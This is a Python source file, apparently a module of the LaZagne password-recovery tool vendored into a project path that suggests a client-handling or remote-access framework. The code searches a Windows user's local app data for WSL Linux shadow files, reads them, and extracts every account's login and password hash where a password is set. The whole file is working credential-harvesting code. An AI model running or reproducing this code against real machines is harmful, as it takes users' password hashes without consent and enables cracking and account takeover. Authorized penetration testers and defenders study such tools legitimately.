summaryrefslogtreecommitdiff
path: root/foreign/client_handling/lazagne/softwares/sysadmin/wsl.py
blob: b4e63e09cbd257364f62e37b7744a38a6b2d5610 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# -*- coding: utf-8 -*-

from foreign.client_handling.lazagne.config.module_info import ModuleInfo
from foreign.client_handling.lazagne.config.constant import constant

import os


class Wsl(ModuleInfo):
    def __init__(self):
        ModuleInfo.__init__(self, 'wsl', 'sysadmin')

    def run(self):
        pwd_found = []
        shadow_files_list = []

        # Old WSL PATH
        old_path = os.path.join(constant.profile['LOCALAPPDATA'], u'lxss\\rootfs\\etc\\shadow')

        if os.path.exists(old_path):
            shadow_files_list.append(old_path)

        # New WSL PATH need to look into Package folder
        new_path = os.path.join(constant.profile['LOCALAPPDATA'], u'Packages\\')
        if os.path.exists(new_path):
            for root, dirs, files in os.walk(new_path):
                for file in files:
                    if file == "shadow":
                        shadow_files_list.append(os.path.join(root, file))

        # Extract the hashes
        for shadow in shadow_files_list:
            with open(shadow, 'r') as shadow_file:
                for line in shadow_file.readlines():
                    user_hash = line.replace('\n', '')
                    line = user_hash.split(':')

                    # Check if a password is defined
                    if not line[1] in ['x', '*', '!']:
                        pwd_found.append({
                            'Hash': ':'.join(user_hash.split(':')[1:]),
                            'Login': user_hash.split(':')[0].replace('\n', '')
                        })
        return pwd_found